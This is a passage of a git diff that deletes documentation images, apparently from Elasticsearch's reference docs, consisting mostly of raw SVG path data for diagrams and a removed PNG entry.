1.0625q0.453125 0.703125 0.703125 1.703125q0.265625 1.0 0.265625 2.703125q0 2.015625 -0.421875 3.265625q-0.40625 1.234375 -1.234375 1.921875q-0.828125 0.671875 -2.078125 0.671875q-1.65625 0 -2.609375 -1.203125q-1.125 -1.421875 -1.125 -4.65625zm1.4375 0q0 2.828125 0.65625 3.765625q0.671875 0.921875 1.640625 0.921875q0.96875 0 1.625 -0.9375q0.65625 -0.9375 0.65625 -3.75q0 -2.828125 -0.65625 -3.75q-0.65625 -0.9375 -1.640625 -0.9375q-0.96875 0 -1.546875 0.828125q-0.734375 1.046875 -0.734375 3.859375zm7.4609375 0q0 -2.03125 0.40625 -3.265625q0.421875 -1.234375 1.25 -1.90625q0.828125 -0.671875 2.078125 -0.671875q0.921875 0 1.609375 0.375q0.703125 0.359375 1.15625 1.0625q0.453125 0.703125 0.703125 1.703125q0.265625 1.0 0.265625 2.703125q0 2.015625 -0.421875 3.265625q-0.40625 1.234375 -1.234375 1.921875q-0.828125 0.671875 -2.078125 0.671875q-1.65625 0 -2.609375 -1.203125q-1.125 -1.421875 -1.125 -4.65625zm1.4375 0q0 2.828125 0.65625 3.765625q0.671875 0.921875 1.640625 0.921875q0.96875 0 1.625 -0.9375q0.65625 -0.9375 0.65625 -3.75q0 -2.828125 -0.65625 -3.75q-0.65625 -0.9375 -1.640625 -0.9375q-0.96875 0 -1.546875 0.828125q-0.734375 1.046875 -0.734375 3.859375zm7.4609375 0q0 -2.03125 0.40625 -3.265625q0.421875 -1.234375 1.25 -1.90625q0.828125 -0.671875 2.078125 -0.671875q0.921875 0 1.609375 0.375q0.703125 0.359375 1.15625 1.0625q0.453125 0.703125 0.703125 1.703125q0.265625 1.0 0.265625 2.703125q0 2.015625 -0.421875 3.265625q-0.40625 1.234375 -1.234375 1.921875q-0.828125 0.671875 -2.078125 0.671875q-1.65625 0 -2.609375 -1.203125q-1.125 -1.421875 -1.125 -4.65625zm1.4375 0q0 2.828125 0.65625 3.765625q0.671875 0.921875 1.640625 0.921875q0.96875 0 1.625 -0.9375q0.65625 -0.9375 0.65625 -3.75q0 -2.828125 -0.65625 -3.75q-0.65625 -0.9375 -1.640625 -0.9375q-0.96875 0 -1.546875 0.828125q-0.734375 1.046875 -0.734375 3.859375zm7.4609375 0q0 -2.03125 0.40625 -3.265625q0.421875 -1.234375 1.25 -1.90625q0.828125 -0.671875 2.078125 -0.671875q0.921875 0 1.609375 0.375q0.703125 0.359375 1.15625 1.0625q0.453125 0.703125 0.703125 1.703125q0.265625 1.0 0.265625 2.703125q0 2.015625 -0.421875 3.265625q-0.40625 1.234375 -1.234375 1.921875q-0.828125 0.671875 -2.078125 0.671875q-1.65625 0 -2.609375 -1.203125q-1.125 -1.421875 -1.125 -4.65625zm1.4375 0q0 2.828125 0.65625 3.765625q0.671875 0.921875 1.640625 0.921875q0.96875 0 1.625 -0.9375q0.65625 -0.9375 0.65625 -3.75q0 -2.828125 -0.65625 -3.75q-0.65625 -0.9375 -1.640625 -0.9375q-0.96875 0 -1.546875 0.828125q-0.734375 1.046875 -0.734375 3.859375zm7.4609375 0q0 -2.03125 0.40625 -3.265625q0.421875 -1.234375 1.25 -1.90625q0.828125 -0.671875 2.078125 -0.671875q0.921875 0 1.609375 0.375q0.703125 0.359375 1.15625 1.0625q0.453125 0.703125 0.703125 1.703125q0.265625 1.0 0.265625 2.703125q0 2.015625 -0.421875 3.265625q-0.40625 1.234375 -1.234375 1.921875q-0.828125 0.671875 -2.078125 0.671875q-1.65625 0 -2.609375 -1.203125q-1.125 -1.421875 -1.125 -4.65625zm1.4375 0q0 2.828125 0.65625 3.765625q0.671875 0.921875 1.640625 0.921875q0.96875 0 1.625 -0.9375q0.65625 -0.9375 0.65625 -3.75q0 -2.828125 -0.65625 -3.75q-0.65625 -0.9375 -1.640625 -0.9375q-0.96875 0 -1.546875 0.828125q-0.734375 1.046875 -0.734375 3.859375zm7.4609375 2.625l1.40625 -0.1875q0.25 1.203125 0.828125 1.734375q0.578125 0.515625 1.421875 0.515625q0.984375 0 1.671875 -0.6875q0.6875 -0.6875 0.6875 -1.703125q0 -0.96875 -0.640625 -1.59375q-0.625 -0.625 -1.609375 -0.625q-0.390625 0 -0.984375 0.15625l0.15625 -1.234375q0.140625 0.015625 0.21875 0.015625q0.90625 0 1.625 -0.46875q0.71875 -0.46875 0.71875 -1.453125q0 -0.765625 -0.53125 -1.265625q-0.515625 -0.515625 -1.34375 -0.515625q-0.828125 0 -1.375 0.515625q-0.546875 0.515625 -0.703125 1.546875l-1.40625 -0.25q0.265625 -1.421875 1.171875 -2.1875q0.921875 -0.78125 2.28125 -0.78125q0.9375 0 1.71875 0.40625q0.796875 0.390625 1.203125 1.09375q0.421875 0.6875 0.421875 1.46875q0 0.75 -0.40625 1.359375q-0.390625 0.609375 -1.171875 0.96875q1.015625 0.234375 1.578125 0.96875q0.5625 0.734375 0.5625 1.84375q0 1.5 -1.09375 2.546875q-1.09375 1.046875 -2.765625 1.046875q-1.5 0 -2.5 -0.890625q-1.0 -0.90625 -1.140625 -2.34375z" fill-rule="nonzero"/><path fill="#000000" fill-opacity="0.0" d="m243.93701 170.76115l0 17.91304l-150.04724 0l0 17.89798" fill-rule="evenodd"/><path stroke="#f04e98" stroke-width="2.0" stroke-linejoin="round" stroke-linecap="butt" d="m243.93701 170.76115l0 17.91304l-150.04724 0l0 5.8979797" fill-rule="evenodd"/><path fill="#f04e98" stroke="#f04e98" stroke-width="2.0" stroke-linecap="butt" d="m90.586296 194.57217l3.3034668 9.076202l3.3034668 -9.076202z" fill-rule="evenodd"/><path fill="#ffffff" d="m186.92914 144.46194l114.01575 0l0 26.29921l-114.01575 0z" fill-rule="evenodd"/><path fill="#000000" d="m201.60107 163.47154l0 -11.453125l3.953125 0q1.328125 0 2.03125 0.15625q0.984375 0.234375 1.6875 0.828125q0.90625 0.765625 1.34375 1.953125q0.453125 1.1875 0.453125 2.71875q0 1.3125 -0.3125 2.328125q-0.296875 1.0 -0.78125 1.65625q-0.46875 0.65625 -1.03125 1.046875q-0.5625 0.375 -1.375 0.578125q-0.796875 0.1875 -1.828125 0.1875l-4.140625 0zm1.515625 -1.359375l2.453125 0q1.125 0 1.765625 -0.203125q0.65625 -0.21875 1.03125 -0.59375q0.546875 -0.546875 0.84375 -1.453125q0.296875 -0.90625 0.296875 -2.203125q0 -1.796875 -0.59375 -2.765625q-0.578125 -0.96875 -1.421875 -1.296875q-0.609375 -0.234375 -1.96875 -0.234375l-2.40625 0l0 8.75zm15.2734375 0.328125q-0.78125 0.671875 -1.5 0.953125q-0.71875 0.265625 -1.546875 0.265625q-1.375 0 -2.109375 -0.671875q-0.734375 -0.671875 -0.734375 -1.703125q0 -0.609375 0.28125 -1.109375q0.28125 -0.515625 0.71875 -0.8125q0.453125 -0.3125 1.015625 -0.46875q0.421875 -0.109375 1.25 -0.203125q1.703125 -0.203125 2.515625 -0.484375q0 -0.296875 0 -0.375q0 -0.859375 -0.390625 -1.203125q-0.546875 -0.484375 -1.609375 -0.484375q-0.984375 0 -1.46875 0.359375q-0.46875 0.34375 -0.6875 1.21875l-1.375 -0.1875q0.1875 -0.875 0.609375 -1.421875q0.4375 -0.546875 1.25 -0.828125q0.8125 -0.296875 1.875 -0.296875q1.0625 0 1.71875 0.25q0.671875 0.25 0.984375 0.625q0.3125 0.375 0.4375 0.953125q0.078125 0.359375 0.078125 1.296875l0 1.875q0 1.96875 0.078125 2.484375q0.09375 0.515625 0.359375 1.0l-1.46875 0q-0.21875 -0.4375 -0.28125 -1.03125zm-0.109375 -3.140625q-0.765625 0.3125 -2.296875 0.53125q-0.875 0.125 -1.234375 0.28125q-0.359375 0.15625 -0.5625 0.46875q-0.1875 0.296875 -0.1875 0.65625q0 0.5625 0.421875 0.9375q0.4375 0.375 1.25 0.375q0.8125 0 1.4375 -0.34375q0.640625 -0.359375 0.9375 -0.984375q0.234375 -0.46875 0.234375 -1.40625l0 -0.515625zm6.6640625 2.90625l0.203125 1.25q-0.59375 0.125 -1.0625 0.125q-0.765625 0 -1.1875 -0.234375q-0.421875 -0.25 -0.59375 -0.640625q-0.171875 -0.40625 -0.171875 -1.671875l0 -4.765625l-1.03125 0l0 -1.09375l1.03125 0l0 -2.0625l1.40625 -0.84375l0 2.90625l1.40625 0l0 1.09375l-1.40625 0l0 4.84375q0 0.609375 0.0625 0.78125q0.078125 0.171875 0.25 0.28125q0.171875 0.09375 0.484375 0.09375q0.234375 0 0.609375 -0.0625zm6.7890625 0.234375q-0.78125 0.671875 -1.5 0.953125q-0.71875 0.265625 -1.546875 0.265625q-1.375 0 -2.109375 -0.671875q-0.734375 -0.671875 -0.734375 -1.703125q0 -0.609375 0.28125 -1.109375q0.28125 -0.515625 0.71875 -0.8125q0.453125 -0.3125 1.015625 -0.46875q0.421875 -0.109375 1.25 -0.203125q1.703125 -0.203125 2.515625 -0.484375q0 -0.296875 0 -0.375q0 -0.859375 -0.390625 -1.203125q-0.546875 -0.484375 -1.609375 -0.484375q-0.984375 0 -1.46875 0.359375q-0.46875 0.34375 -0.6875 1.21875l-1.375 -0.1875q0.1875 -0.875 0.609375 -1.421875q0.4375 -0.546875 1.25 -0.828125q0.8125 -0.296875 1.875 -0.296875q1.0625 0 1.71875 0.25q0.671875 0.25 0.984375 0.625q0.3125 0.375 0.4375 0.953125q0.078125 0.359375 0.078125 1.296875l0 1.875q0 1.96875 0.078125 2.484375q0.09375 0.515625 0.359375 1.0l-1.46875 0q-0.21875 -0.4375 -0.28125 -1.03125zm-0.109375 -3.140625q-0.765625 0.3125 -2.296875 0.53125q-0.875 0.125 -1.234375 0.28125q-0.359375 0.15625 -0.5625 0.46875q-0.1875 0.296875 -0.1875 0.65625q0 0.5625 0.421875 0.9375q0.4375 0.375 1.25 0.375q0.8125 0 1.4375 -0.34375q0.640625 -0.359375 0.9375 -0.984375q0.234375 -0.46875 0.234375 -1.40625l0 -0.515625zm7.484375 1.6875l1.390625 -0.21875q0.109375 0.84375 0.640625 1.296875q0.546875 0.4375 1.5 0.4375q0.96875 0 1.4375 -0.390625q0.46875 -0.40625 0.46875 -0.9375q0 -0.46875 -0.40625 -0.75q-0.296875 -0.1875 -1.4375 -0.46875q-1.546875 -0.390625 -2.15625 -0.671875q-0.59375 -0.296875 -0.90625 -0.796875q-0.296875 -0.5 -0.296875 -1.109375q0 -0.5625 0.25 -1.03125q0.25 -0.46875 0.6875 -0.78125q0.328125 -0.25 0.890625 -0.40625q0.578125 -0.171875 1.21875 -0.171875q0.984375 0 1.71875 0.28125q0.734375 0.28125 1.078125 0.765625q0.359375 0.46875 0.5 1.28125l-1.375 0.1875q-0.09375 -0.640625 -0.546875 -1.0q-0.453125 -0.359375 -1.265625 -0.359375q-0.96875 0 -1.390625 0.328125q-0.40625 0.3125 -0.40625 0.734375q0 0.28125 0.171875 0.5q0.171875 0.21875 0.53125 0.375q0.21875 0.078125 1.25 0.359375q1.484375 0.390625 2.078125 0.65625q0.59375 0.25 0.921875 0.734375q0.34375 0.484375 0.34375 1.203125q0 0.703125 -0.421875 1.328125q-0.40625 0.609375 -1.1875 0.953125q-0.765625 0.34375 -1.734375 0.34375q-1.625 0 -2.46875 -0.671875q-0.84375 -0.671875 -1.078125 -2.0zm11.625 1.21875l0.203125 1.25q-0.59375 0.125 -1.0625 0.125q-0.765625 0 -1.1875 -0.234375q-0.421875 -0.25 -0.59375 -0.640625q-0.171875 -0.40625 -0.171875 -1.671875l0 -4.765625l-1.03125 0l0 -1.09375l1.03125 0l0 -2.0625l1.40625 -0.84375l0 2.90625l1.40625 0l0 1.09375l-1.40625 0l0 4.84375q0 0.609375 0.0625 0.78125q0.078125 0.171875 0.25 0.28125q0.171875 0.09375 0.484375 0.09375q0.234375 0 0.609375 -0.0625zm1.3671875 1.265625l0 -8.296875l1.265625 0l0 1.25q0.484375 -0.875 0.890625 -1.15625q0.40625 -0.28125 0.90625 -0.28125q0.703125 0 1.4375 0.453125l-0.484375 1.296875q-0.515625 -0.296875 -1.03125 -0.296875q-0.453125 0 -0.828125 0.28125q-0.359375 0.265625 -0.515625 0.765625q-0.234375 0.75 -0.234375 1.640625l0 4.34375l-1.40625 0zm11.015625 -2.671875l1.453125 0.171875q-0.34375 1.28125 -1.28125 1.984375q-0.921875 0.703125 -2.359375 0.703125q-1.828125 0 -2.890625 -1.125q-1.0625 -1.125 -1.0625 -3.140625q0 -2.09375 1.078125 -3.25q1.078125 -1.15625 2.796875 -1.15625q1.65625 0 2.703125 1.140625q1.0625 1.125 1.0625 3.171875q0 0.125 0 0.375l-6.1875 0q0.078125 1.375 0.765625 2.109375q0.703125 0.71875 1.734375 0.71875q0.78125 0 1.328125 -0.40625q0.546875 -0.40625 0.859375 -1.296875zm-4.609375 -2.28125l4.625 0q-0.09375 -1.046875 -0.53125 -1.5625q-0.671875 -0.8125 -1.734375 -0.8125q-0.96875 0 -1.640625 0.65625q-0.65625 0.640625 -0.71875 1.71875zm13.2421875 3.921875q-0.78125 0.671875 -1.5 0.953125q-0.71875 0.265625 -1.546875 0.265625q-1.375 0 -2.109375 -0.671875q-0.734375 -0.671875 -0.734375 -1.703125q0 -0.609375 0.28125 -1.109375q0.28125 -0.515625 0.71875 -0.8125q0.453125 -0.3125 1.015625 -0.46875q0.421875 -0.109375 1.25 -0.203125q1.703125 -0.203125 2.515625 -0.484375q0 -0.296875 0 -0.375q0 -0.859375 -0.390625 -1.203125q-0.546875 -0.484375 -1.609375 -0.484375q-0.984375 0 -1.46875 0.359375q-0.46875 0.34375 -0.6875 1.21875l-1.375 -0.1875q0.1875 -0.875 0.609375 -1.421875q0.4375 -0.546875 1.25 -0.828125q0.8125 -0.296875 1.875 -0.296875q1.0625 0 1.71875 0.25q0.671875 0.25 0.984375 0.625q0.3125 0.375 0.4375 0.953125q0.078125 0.359375 0.078125 1.296875l0 1.875q0 1.96875 0.078125 2.484375q0.09375 0.515625 0.359375 1.0l-1.46875 0q-0.21875 -0.4375 -0.28125 -1.03125zm-0.109375 -3.140625q-0.765625 0.3125 -2.296875 0.53125q-0.875 0.125 -1.234375 0.28125q-0.359375 0.15625 -0.5625 0.46875q-0.1875 0.296875 -0.1875 0.65625q0 0.5625 0.421875 0.9375q0.4375 0.375 1.25 0.375q0.8125 0 1.4375 -0.34375q0.640625 -0.359375 0.9375 -0.984375q0.234375 -0.46875 0.234375 -1.40625l0 -0.515625zm3.6015625 4.171875l0 -8.296875l1.25 0l0 1.15625q0.390625 -0.609375 1.03125 -0.96875q0.65625 -0.375 1.484375 -0.375q0.921875 0 1.515625 0.390625q0.59375 0.375 0.828125 1.0625q0.984375 -1.453125 2.5625 -1.453125q1.234375 0 1.890625 0.6875q0.671875 0.671875 0.671875 2.09375l0 5.703125l-1.390625 0l0 -5.234375q0 -0.84375 -0.140625 -1.203125q-0.140625 -0.375 -0.5 -0.59375q-0.359375 -0.234375 -0.84375 -0.234375q-0.875 0 -1.453125 0.578125q-0.578125 0.578125 -0.578125 1.859375l0 4.828125l-1.40625 0l0 -5.390625q0 -0.9375 -0.34375 -1.40625q-0.34375 -0.46875 -1.125 -0.46875q-0.59375 0 -1.09375 0.3125q-0.5 0.3125 -0.734375 0.921875q-0.21875 0.59375 -0.21875 1.71875l0 4.3125l-1.40625 0z" fill-rule="nonzero"/><path fill="#f04e98" d="m192.01575 55.062992l0 0c0 -28.67532 23.245941 -51.92126 51.921265 -51.92126l0 0c13.770355 0 26.976746 5.4702597 36.713867 15.207385c9.737122 9.737125 15.207397 22.9435 15.207397 36.713875l0 0c0 28.67532 -23.245941 51.92126 -51.921265 51.92126l0 0c-28.675323 0 -51.921265 -23.245941 -51.921265 -51.92126z" fill-rule="evenodd"/><path stroke="#f04e98" stroke-width="1.0" stroke-linejoin="round" stroke-linecap="butt" d="m192.01575 55.062992l0 0c0 -28.67532 23.245941 -51.92126 51.921265 -51.92126l0 0c13.770355 0 26.976746 5.4702597 36.713867 15.207385c9.737122 9.737125 15.207397 22.9435 15.207397 36.713875l0 0c0 28.67532 -23.245941 51.92126 -51.921265 51.92126l0 0c-28.675323 0 -51.921265 -23.245941 -51.921265 -51.92126z" fill-rule="evenodd"/><path fill="#ffffff" d="m219.3081 47.735493l1.4375 -0.125q0.09375 0.859375 0.46875 1.421875q0.375 0.546875 1.15625 0.890625q0.78125 0.328125 1.75 0.328125q0.875 0 1.53125 -0.25q0.671875 -0.265625 0.984375 -0.703125q0.328125 -0.453125 0.328125 -0.984375q0 -0.546875 -0.3125 -0.9375q-0.3125 -0.40625 -1.03125 -0.6875q-0.453125 -0.171875 -2.03125 -0.546875q-1.578125 -0.390625 -2.21875 -0.71875q-0.8125 -0.4375 -1.21875 -1.0625q-0.40625 -0.640625 -0.40625 -1.4375q0 -0.859375 0.484375 -1.609375q0.5 -0.765625 1.4375 -1.15625q0.953125 -0.390625 2.109375 -0.390625q1.28125 0 2.25 0.421875q0.96875 0.40625 1.484375 1.203125q0.53125 0.796875 0.578125 1.796875l-1.453125 0.109375q-0.125 -1.078125 -0.796875 -1.625q-0.671875 -0.5625 -2.0 -0.5625q-1.375 0 -2.0 0.5q-0.625 0.5 -0.625 1.21875q0 0.609375 0.4375 1.015625q0.4375 0.390625 2.28125 0.8125q1.859375 0.421875 2.546875 0.734375q1.0 0.453125 1.46875 1.171875q0.484375 0.703125 0.484375 1.625q0 0.90625 -0.53125 1.71875q-0.515625 0.8125 -1.5 1.265625q-0.984375 0.453125 -2.203125 0.453125q-1.5625 0 -2.609375 -0.453125q-1.046875 -0.46875 -1.65625 -1.375q-0.59375 -0.90625 -0.625 -2.0625zm16.6875 1.015625l1.453125 0.171875q-0.34375 1.28125 -1.28125 1.984375q-0.921875 0.703125 -2.359375 0.703125q-1.828125 0 -2.890625 -1.125q-1.0625 -1.125 -1.0625 -3.140625q0 -2.09375 1.078125 -3.25q1.078125 -1.15625 2.796875 -1.15625q1.65625 0 2.703125 1.140625q1.0625 1.125 1.0625 3.171875q0 0.125 0 0.375l-6.1875 0q0.078125 1.375 0.765625 2.109375q0.703125 0.71875 1.734375 0.71875q0.78125 0 1.328125 -0.40625q0.546875 -0.40625 0.859375 -1.296875zm-4.609375 -2.28125l4.625 0q-0.09375 -1.046875 -0.53125 -1.5625q-0.671875 -0.8125 -1.734375 -0.8125q-0.96875 0 -1.640625 0.65625q-0.65625 0.640625 -0.71875 1.71875zm13.2421875 3.921875q-0.78125 0.671875 -1.5 0.953125q-0.71875 0.265625 -1.546875 0.265625q-1.375 0 -2.109375 -0.671875q-0.734375 -0.671875 -0.734375 -1.703125q0 -0.609375 0.28125 -1.109375q0.28125 -0.515625 0.71875 -0.8125q0.453125 -0.3125 1.015625 -0.46875q0.421875 -0.109375 1.25 -0.203125q1.703125 -0.203125 2.515625 -0.484375q0 -0.296875 0 -0.375q0 -0.859375 -0.390625 -1.203125q-0.546875 -0.484375 -1.609375 -0.484375q-0.984375 0 -1.46875 0.359375q-0.46875 0.34375 -0.6875 1.21875l-1.375 -0.1875q0.1875 -0.875 0.609375 -1.421875q0.4375 -0.546875 1.25 -0.828125q0.8125 -0.296875 1.875 -0.296875q1.0625 0 1.71875 0.25q0.671875 0.25 0.984375 0.625q0.3125 0.375 0.4375 0.953125q0.078125 0.359375 0.078125 1.296875l0 1.875q0 1.96875 0.078125 2.484375q0.09375 0.515625 0.359375 1.0l-1.46875 0q-0.21875 -0.4375 -0.28125 -1.03125zm-0.109375 -3.140625q-0.765625 0.3125 -2.296875 0.53125q-0.875 0.125 -1.234375 0.28125q-0.359375 0.15625 -0.5625 0.46875q-0.1875 0.296875 -0.1875 0.65625q0 0.5625 0.421875 0.9375q0.4375 0.375 1.25 0.375q0.8125 0 1.4375 -0.34375q0.640625 -0.359375 0.9375 -0.984375q0.234375 -0.46875 0.234375 -1.40625l0 -0.515625zm3.5859375 4.171875l0 -8.296875l1.265625 0l0 1.25q0.484375 -0.875 0.890625 -1.15625q0.40625 -0.28125 0.90625 -0.28125q0.703125 0 1.4375 0.453125l-0.484375 1.296875q-0.515625 -0.296875 -1.03125 -0.296875q-0.453125 0 -0.828125 0.28125q-0.359375 0.265625 -0.515625 0.765625q-0.234375 0.75 -0.234375 1.640625l0 4.34375l-1.40625 0zm10.75 -3.046875l1.390625 0.1875q-0.234375 1.421875 -1.171875 2.234375q-0.921875 0.8125 -2.28125 0.8125q-1.703125 0 -2.75 -1.109375q-1.03125 -1.125 -1.03125 -3.203125q0 -1.34375 0.4375 -2.34375q0.453125 -1.015625 1.359375 -1.515625q0.921875 -0.5 1.984375 -0.5q1.359375 0 2.21875 0.6875q0.859375 0.671875 1.09375 1.9375l-1.359375 0.203125q-0.203125 -0.828125 -0.703125 -1.25q-0.484375 -0.421875 -1.1875 -0.421875q-1.0625 0 -1.734375 0.765625q-0.65625 0.75 -0.65625 2.40625q0 1.671875 0.640625 2.4375q0.640625 0.75 1.671875 0.75q0.828125 0 1.375 -0.5q0.5625 -0.515625 0.703125 -1.578125zm2.59375 3.046875l0 -11.453125l1.40625 0l0 4.109375q0.984375 -1.140625 2.484375 -1.140625q0.921875 0 1.59375 0.359375q0.6875 0.359375 0.96875 1.0q0.296875 0.640625 0.296875 1.859375l0 5.265625l-1.40625 0l0 -5.265625q0 -1.046875 -0.453125 -1.53125q-0.453125 -0.484375 -1.296875 -0.484375q-0.625 0 -1.171875 0.328125q-0.546875 0.328125 -0.78125 0.890625q-0.234375 0.546875 -0.234375 1.515625l0 4.546875l-1.40625 0z" fill-rule="nonzero"/><path fill="#ffffff" d="m218.3003 70.42299l0 -8.296871l1.265625 0l0 1.25q0.484375 -0.875 0.890625 -1.15625q0.40625 -0.28125 0.90625 -0.28125q0.703125 0 1.4375 0.453125l-0.484375 1.296875q-0.515625 -0.296875 -1.03125 -0.296875q-0.453125 0 -0.828125 0.28125q-0.359375 0.265625 -0.515625 0.7656212q-0.234375 0.75 -0.234375 1.640625l0 4.34375l-1.40625 0zm11.015625 -2.671875l1.453125 0.171875q-0.34375 1.28125 -1.28125 1.984375q-0.921875 0.703125 -2.359375 0.703125q-1.828125 0 -2.890625 -1.125q-1.0625 -1.125 -1.0625 -3.140625q0 -2.09375 1.078125 -3.2499962q1.078125 -1.15625 2.796875 -1.15625q1.65625 0 2.703125 1.140625q1.0625 1.1249962 1.0625 3.1718712q0 0.125 0 0.375l-6.1875 0q0.078125 1.375 0.765625 2.109375q0.703125 0.71875 1.734375 0.71875q0.78125 0 1.328125 -0.40625q0.546875 -0.40625 0.859375 -1.296875zm-4.609375 -2.28125l4.625 0q-0.09375 -1.046875 -0.53125 -1.5624962q-0.671875 -0.8125 -1.734375 -0.8125q-0.96875 0 -1.640625 0.65625q-0.65625 0.6406212 -0.71875 1.7187462zm13.1171875 8.140625l0 -4.078125q-0.328125 0.46875 -0.921875 0.78125q-0.578125 0.296875 -1.25 0.296875q-1.46875 0 -2.546875 -1.171875q-1.0625 -1.1875 -1.0625 -3.25q0 -1.25 0.4375 -2.2343712q0.4375 -1.0 1.25 -1.5q0.828125 -0.515625 1.8125 -0.515625q1.546875 0 2.421875 1.296875l0 -1.109375l1.265625 0l0 11.484371l-1.40625 0zm-4.328125 -7.359375q0 1.59375 0.671875 2.40625q0.671875 0.796875 1.609375 0.796875q0.890625 0 1.53125 -0.765625q0.65625 -0.765625 0.65625 -2.3125q0 -1.65625 -0.6875 -2.4843712q-0.671875 -0.84375 -1.59375 -0.84375q-0.921875 0 -1.5625 0.78125q-0.625 0.7656212 -0.625 2.4218712zm13.3828125 4.171875l0 -1.21875q-0.96875 1.40625 -2.640625 1.40625q-0.734375 0 -1.375 -0.28125q-0.625 -0.28125 -0.9375 -0.703125q-0.3125 -0.4375 -0.4375 -1.046875q-0.078125 -0.421875 -0.078125 -1.3125l0 -5.140621l1.40625 0l0 4.593746q0 1.109375 0.078125 1.484375q0.140625 0.5625 0.5625 0.875q0.4375 0.3125 1.0625 0.3125q0.640625 0 1.1875 -0.3125q0.5625 -0.328125 0.78125 -0.890625q0.234375 -0.5625 0.234375 -1.625l0 -4.437496l1.40625 0l0 8.296871l-1.25 0zm9.1328125 -2.671875l1.453125 0.171875q-0.34375 1.28125 -1.28125 1.984375q-0.921875 0.703125 -2.359375 0.703125q-1.828125 0 -2.890625 -1.125q-1.0625 -1.125 -1.0625 -3.140625q0 -2.09375 1.078125 -3.2499962q1.078125 -1.15625 2.796875 -1.15625q1.65625 0 2.703125 1.140625q1.0625 1.1249962 1.0625 3.1718712q0 0.125 0 0.375l-6.1875 0q0.078125 1.375 0.765625 2.109375q0.703125 0.71875 1.734375 0.71875q0.78125 0 1.328125 -0.40625q0.546875 -0.40625 0.859375 -1.296875zm-4.609375 -2.28125l4.625 0q-0.09375 -1.046875 -0.53125 -1.5624962q-0.671875 -0.8125 -1.734375 -0.8125q-0.96875 0 -1.640625 0.65625q-0.65625 0.6406212 -0.71875 1.7187462zm7.2734375 2.46875l1.390625 -0.21875q0.109375 0.84375 0.640625 1.296875q0.546875 0.4375 1.5 0.4375q0.96875 0 1.4375 -0.390625q0.46875 -0.40625 0.46875 -0.9375q0 -0.46875 -0.40625 -0.75q-0.296875 -0.1875 -1.4375 -0.46875q-1.546875 -0.390625 -2.15625 -0.671875q-0.59375 -0.296875 -0.90625 -0.796875q-0.296875 -0.5 -0.296875 -1.109375q0 -0.5624962 0.25 -1.0312462q0.25 -0.46875 0.6875 -0.78125q0.328125 -0.25 0.890625 -0.40625q0.578125 -0.171875 1.21875 -0.171875q0.984375 0 1.71875 0.28125q0.734375 0.28125 1.078125 0.765625q0.359375 0.46875 0.5 1.2812462l-1.375 0.1875q-0.09375 -0.6406212 -0.546875 -0.9999962q-0.453125 -0.359375 -1.265625 -0.359375q-0.96875 0 -1.390625 0.328125q-0.40625 0.3125 -0.40625 0.7343712q0 0.28125 0.171875 0.5q0.171875 0.21875 0.53125 0.375q0.21875 0.078125 1.25 0.359375q1.484375 0.390625 2.078125 0.65625q0.59375 0.25 0.921875 0.734375q0.34375 0.484375 0.34375 1.203125q0 0.703125 -0.421875 1.328125q-0.40625 0.609375 -1.1875 0.953125q-0.765625 0.34375 -1.734375 0.34375q-1.625 0 -2.46875 -0.671875q-0.84375 -0.671875 -1.078125 -2.0zm11.625 1.21875l0.203125 1.25q-0.59375 0.125 -1.0625 0.125q-0.765625 0 -1.1875 -0.234375q-0.421875 -0.25 -0.59375 -0.640625q-0.171875 -0.40625 -0.171875 -1.671875l0 -4.765621l-1.03125 0l0 -1.09375l1.03125 0l0 -2.0625l1.40625 -0.84375l0 2.90625l1.40625 0l0 1.09375l-1.40625 0l0 4.843746q0 0.609375 0.0625 0.78125q0.078125 0.171875 0.25 0.28125q0.171875 0.09375 0.484375 0.09375q0.234375 0 0.609375 -0.0625z" fill-rule="nonzero"/><path fill="#000000" fill-opacity="0.0" d="m243.93701 170.76115l0 17.91304l152.34647 0l0 17.89798" fill-rule="evenodd"/><path stroke="#f04e98" stroke-width="2.0" stroke-linejoin="round" stroke-linecap="butt" d="m243.93701 170.76115l0 17.91304l152.34647 0l0 5.8979797" fill-rule="evenodd"/><path fill="#f04e98" stroke="#f04e98" stroke-width="2.0" stroke-linecap="butt" d="m392.98 194.57217l3.3034668 9.076202l3.3034668 -9.076202z" fill-rule="evenodd"/><path fill="#000000" fill-opacity="0.0" d="m243.93701 170.76115l0 17.91304l0.3464508 0l0 17.89798" fill-rule="evenodd"/><path stroke="#f04e98" stroke-width="2.0" stroke-linejoin="round" stroke-linecap="butt" d="m243.93701 170.76115l0 17.91304l0.3464508 0l0 5.8979797" fill-rule="evenodd"/><path fill="#f04e98" stroke="#f04e98" stroke-width="2.0" stroke-linecap="butt" d="m240.98 194.57217l3.3034668 9.076202l3.3034668 -9.076202z" fill-rule="evenodd"/></g></svg>
\ No newline at end of file
diff --git a/docs/reference/images/decay_2d.png b/docs/reference/images/decay_2d.png
deleted file mode 100644
index df03db4965a..00000000000
Binary files a/docs/reference/images/decay_2d.png and /dev/null differ
diff --git a/docs/reference/images/eql/separate-state-machines.svg b/docs/reference/images/eql/separate-state-machines.svg
deleted file mode 100644
index 635d2139c3b..00000000000
--- a/docs/reference/images/eql/separate-state-machines.svg
+++ /dev/null
@@ -1 +0,0 @@
-<svg version="1.1" viewBox="0.0 0.0 484.0 426.0" fill="none" stroke="none" stroke-linecap="square" stroke-miterlimit="10" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns="http://www.w3.org/2000/svg"><clipPath id="p.0"><path d="m0 0l484.0 0l0 426.0l-484.0 0l0 -426.0z" clip-rule="nonzero"/></clipPath><g clip-path="url(#p.0)"><path fill="#000000" fill-opacity="0.0" d="m0 0l484.0 0l0 426.0l-484.0 0z" fill-rule="evenodd"/><path fill="#000000" fill-opacity="0.0" d="m8.9921255 253.67249l0 0c0 -15.925247 12.909968 -28.83522 28.83522 -28.83522l408.34528 0c7.647583 0 14.981934 3.0379944 20.389587 8.445648c5.407654 5.407654 8.445648 12.742004 8.445648 20.389572l0 115.33743c0 15.925262 -12.909973 28.835236 -28.835236 28.835236l-408.34528 0c-15.925253 0 -28.83522 -12.909973 -28.83522 -28.835236z" fill-rule="evenodd"/><path stroke="#dd0a73" stroke-width="2.0" stroke-linejoin="round" stroke-linecap="butt" d="m8.9921255 253.67249l0 0c0 -15.925247 12.909968 -28.83522 28.83522 -28.83522l408.34528 0c7.647583 0 14.981934 3.0379944 20.389587 8.445648c5.407654 5.407654 8.445648 12.742004 8.445648 20.389572l0 115.33743c0 15.925262 -12.909973 28.835236 -28.835236 28.835236l-408.34528 0c-15.925253 0 -28.83522 -12.909973 -28.83522 -28.835236z" fill-rule="evenodd"/><path fill="#000000" fill-opacity="0.0" d="m8.9921255 